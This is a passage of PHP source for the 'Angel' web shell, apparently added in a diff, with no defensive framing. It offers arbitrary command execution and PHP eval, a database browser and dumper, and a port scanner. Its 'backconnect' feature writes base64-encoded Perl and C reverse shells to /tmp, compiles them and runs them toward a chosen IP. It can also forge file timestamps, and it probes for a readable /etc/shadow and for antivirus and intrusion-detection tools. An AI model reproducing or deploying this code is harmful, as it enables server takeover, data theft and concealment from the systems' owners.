'); + } else { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch(qy($query)) + { + case 0: + p('

Error : '.mysql_error().'

'); + break; + case 1: + if (strtolower(substr($query,0,13)) == 'select * from') { + $allowedit = 1; + } + if ($getnumsql) { + $tatol = mysql_num_rows(q($getnumsql)); + $multipage = multi($tatol, $pagenum, $page, $tablename); + } + if (!$tablename) { + $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); + $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); + preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); + $tablename = $matches[1][0]; + } + + /*********************/ + $getfield = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + $keyfied = ''; //Ö÷¼ü×Ö¶Î + while($row = @mysql_fetch_assoc($getfield)) { + $rowdb[$row['Field']]['Key'] = $row['Key']; + $rowdb[$row['Field']]['Extra'] = $row['Extra']; + if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') { + $keyfied = $row['Field']; + } + } + /*********************/ + //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ + if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') { + $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query); + } + + $result = q($query); + + p($multipage); + p(''); + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + + while($mn = @mysql_fetch_assoc($result)){ + $thisbg = bg(); + p(''); + $where = $tmp = $b1 = ''; + //ѡȡÌõ¼þ×Ö¶ÎÓà + foreach($mn as $key=>$inside){ + if ($inside) { + //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£ + if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') { + $where = $key."='".addslashes($inside)."'"; + break; + } + $where .= $tmp.$key."='".addslashes($inside)."'"; + $tmp = ' AND '; + } + } + //¶ÁÈ¡¼Ç¼Óà + foreach($mn as $key=>$inside){ + $b1 .= ''; + } + $where = base64_encode($where); + + if ($allowedit) p(''); + + p($b1); + p(''); + unset($b1); + } + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + tbfoot(); + p($multipage); + break; + case 2: + $ar = mysql_affected_rows(); + p('

affected rows : '.$ar.'

'); + break; + } + } + } + } + } else { + $query = q("SHOW TABLE STATUS"); + $table_num = $table_rows = $data_size = 0; + $tabledb = array(); + while($table = mysql_fetch_array($query)) { + $data_size = $data_size + $table['Data_length']; + $table_rows = $table_rows + $table['Rows']; + $table['Data_length'] = sizecount($table['Data_length']); + $table_num++; + $tabledb[] = $table; + } + $data_size = sizecount($data_size); + unset($table); + p('
Action$name
$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
'.html_clean($inside).' Edit | Del
Action$name
$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
'); + p(''); + makehide('action','mysqladmin'); + p($dbform); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + + p(""); + makehide('doing','backupmysql'); + formfoot(); + p("
 NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
'.$table['Name'].''.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Insert | Structure | Drop
NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); + fr($query); + } + } + } + tbfoot(); + @mysql_close(); +}//end mysql + +elseif ($action == 'backconnect') { + !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; + !$yourport && $yourport = '12345'; + $usedb = array('perl'=>'perl','c'=>'c'); + + $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + + if ($start && $yourip && $yourport && $use){ + if ($use == 'perl') { + cf('/tmp/angel_bc',$back_connect); + $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); + } else { + cf('/tmp/angel_bc.c',$back_connect_c); + $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/angel_bc.c'); + $res = execute("/tmp/angel_bc $yourip $yourport &"); + } + m("Now script try connect to $yourip port $yourport ..."); + } + + formhead(array('title'=>'Back Connect')); + makehide('action','backconnect'); + p('

'); + p('Your IP:'); + makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); + p('Your Port:'); + makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); + p('Use:'); + makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); + makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +}//end + +elseif ($action == 'portscan') { + !$scanip && $scanip = '127.0.0.1'; + !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958'; + formhead(array('title'=>'Port Scan')); + makehide('action','portscan'); + p('

'); + p('IP:'); + makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip)); + p('Port:'); + makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport)); + makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); + + if ($startscan) { + p('

Result »

'); + p('
    '); + foreach(explode(',', $scanport) as $port) { + $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); + if (!$fp) { + p('
  • '.$scanip.':'.$port.' ------------------------ Close
  • '); + } else { + p('
  • '.$scanip.':'.$port.' ------------------------ Open
  • '); + @fclose($fp); + } + } + p('
'); + } +} + +elseif ($action == 'eval') { + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode'Eval PHP Code')); + makehide('action','eval'); + maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); + p('

Get plugins

'); + formfooter(); +}//end eval + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); + + goback(); + +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone folder/file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('

year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('

'); + formfooter(); + goback(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p('

'); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p('

'); + makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($command) { + p('
');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
'); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p('
    '); + if ($a==0) { + for($i=1;$i<=9;$i++) { + p('
  • '.$info[$i][0].':'.$info[$i][1].'
  • '); + } + } elseif ($a == 1) { + for($i=10;$i<=23;$i++) { + p('
  • '.$info[$i][0].':'.$info[$i][1].'
  • '); + } + } + p('
'); + } +}//end phpenv + +elseif ($action == 'secinfo') { + + secparam('Server software', @getenv('SERVER_SOFTWARE')); + secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); + secparam('Open base dir', @ini_get('open_basedir')); + secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + secparam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + secparam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + secparam('Supported databases', implode(', ', $temp)); + + if( !IS_WIN ) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no'); + secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no'); + secparam('OS version', @file_get_contents('/proc/version')); + secparam('Distr name', @file_get_contents('/etc/issue.net')); + $safe_mode = @ini_get('safe_mode'); + if(!$GLOBALS['safe_mode']) { + $temp=array(); + foreach ($userful as $item) + if(which($item)){$temp[]=$item;} + secparam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(which($item)){$temp[]=$item;} + secparam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(which($item)){$temp[]=$item;} + secparam('Downloaders', implode(', ',$temp)); + secparam('Hosts', @file_get_contents('/etc/hosts')); + secparam('HDD space', execute('df -h')); + secparam('Mount options', @file_get_contents('/etc/fstab')); + } + } else { + secparam('OS Version',execute('ver')); + secparam('Account Settings',execute('net accounts')); + secparam('User Accounts',execute('net user')); + secparam('IP Configurate',execute('ipconfig -all')); + } +}//end + +else { + m('Undefined Action'); +} + +?> +
+
+ + Powered by 2011. Copyright (C) 2004-2011 Security Angel Team [S4T] All Rights Reserved. +
+ + + +'.$n.' »'); + p('
'); + if(strpos($v, "\n") === false) + p($v.'
'); + else + p('
'.$v.'
'); + p('
'); + } +} +function m($msg) { + echo '
'; + echo $msg; + echo '
'; +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; + $key = ($prefix ? $cookiepre : '').$key; + $life = $life ? $life : $cookielife; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); +} +function multi($num, $perpage, $curpage, $tablename) { + $multipage = ''; + if($num > $perpage) { + $page = 10; + $offset = 5; + $pages = @ceil($num / $perpage); + if($page > $pages) { + $from = 1; + $to = $pages; + } else { + $from = $curpage - $offset; + $to = $curpage + $page - $offset - 1; + if($from < 1) { + $to = $curpage + 1 - $from; + $from = 1; + if(($to - $from) < $page && ($to - $from) < $pages) { + $to = $page; + } + } elseif($to > $pages) { + $from = $curpage - $pages + $to; + $to = $pages; + if(($to - $from) < $page && ($to - $from) < $pages) { + $from = $pages - $page + 1; + } + } + } + $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); + for($i = $from; $i <= $to; $i++) { + $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] '; + } + $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); + $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; + } + return $multipage; +} +// µÇ½Èë¿Ú +function loginpage() { +?> + + + Password: + + + +Can not connect to MySQL server'); + exit; + } + if($link && $dbname) { + if (!@mysql_select_db($dbname, $link)) { + p('

Database selected has error

'); + exit; + } + } + if($link && mysql_get_server_info() > '4.1') { + if($charset && in_array(strtolower($charset), $charsetdb)) { + q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); + } + } + return $link; +} + +// È¥µôתÒå×Ö·û +function s_array(&$array) { + if (is_array($array)) { + foreach ($array as $k => $v) { + $array[$k] = s_array($v); + } + } else if (is_string($array)) { + $array = stripslashes($array); + } + return $array; +} + +// Çå³ýHTML´úÂë +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// »ñȡȨÏÞ +function getChmod($filepath){ + return substr(base_convert(@fileperms($filepath),10,8),-4); +} + +function getPerms($filepath) { + $mode = @fileperms($filepath); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($filepath) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($filepath)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +// ɾ³ýĿ¼ +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } + if (is_file($deldir.'/'.$file)) { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + $mydir->close(); + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; +} + +// ±í¸ñÐмäµÄ±³¾°É«Ìæ»» +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ +function getPath($scriptpath, $nowpath) { + if ($nowpath == '.') { + $nowpath = $scriptpath; + } + $nowpath = str_replace('\\', '/', $nowpath); + $nowpath = str_replace('//', '/', $nowpath); + if (substr($nowpath, -1) != '/') { + $nowpath = $nowpath.'/'; + } + return $nowpath; +} + +// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ +function getUpPath($nowpath) { + $pathdb = explode('/', $nowpath); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// ¼ì²éPHPÅäÖòÎÊý +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// ¼ì²éº¯ÊýÇé¿ö +function getfun($funName) { + return (false !== function_exists($funName)) ? 'Yes' : 'No'; +} + +// »ñµÃÎļþÀ©Õ¹Ãû +function getext($file) { + $info = pathinfo($file); + return $info['extension']; +} + +function GetWDirList($dir){ + global $dirdata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']=str_replace($nowpath,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['dirchmod']=getChmod($f); + $dirdata[$j]['dirperm']=getPerms($f); + $dirdata[$j]['dirlink']=$dir; + $dirdata[$j]['server_link']=$f; + $j++; + } + GetWDirList($f); + } + } + closedir($dh); + clearstatcache(); + return $dirdata; + } else { + return array(); + } +} + +function GetWFileList($dir){ + global $filedata,$j,$nowpath, $writabledb; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getext($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetWFileList($f); + } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ + if (is_writable($f)) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function GetSFileList($dir, $content, $re = 0) { + global $filedata,$j,$nowpath, $writabledb; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getext($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetSFileList($f, $content, $re = 0); + } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ + $find = 0; + if ($re) { + if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){ + $find = 1; + } + } else { + if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) { + $find = 1; + } + } + if ($find) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function qy($sql) { + global $mysqllink; + //echo $sql.'
'; + $res = $error = ''; + if(!$res = @mysql_query($sql,$mysqllink)) { + return 0; + } else if(is_resource($res)) { + return 1; + } else { + return 2; + } + return 0; +} + +function q($sql) { + global $mysqllink; + return @mysql_query($sql,$mysqllink); +} + +function fr($qy){ + mysql_free_result($qy); +} + +function sizecount($fileSize) { + $size = sprintf("%u", $fileSize); + if($size == 0) { + return '0 Bytes' ; + } + $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB'); + return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i]; +} +// ±¸·ÝÊý¾Ý¿â +function sqldumptable($table, $fp=0) { + global $mysqllink; + + $tabledump = "DROP TABLE IF EXISTS `$table`;\n"; + $res = q("SHOW CREATE TABLE $table"); + $create = mysql_fetch_row($res); + $tabledump .= $create[1].";\n\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + $tabledump = ''; + $rows = q("SELECT * FROM $table"); + while ($row = mysql_fetch_assoc($rows)) { + foreach($row as $k=>$v) { + $row[$k] = "'".@mysql_real_escape_string($v)."'"; + } + $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + fwrite($fp,"\n\n"); + fr($rows); +} + +function p($str){ + echo $str."\n"; +} + +function tbhead() { + p(''); +} +function tbfoot(){ + p('
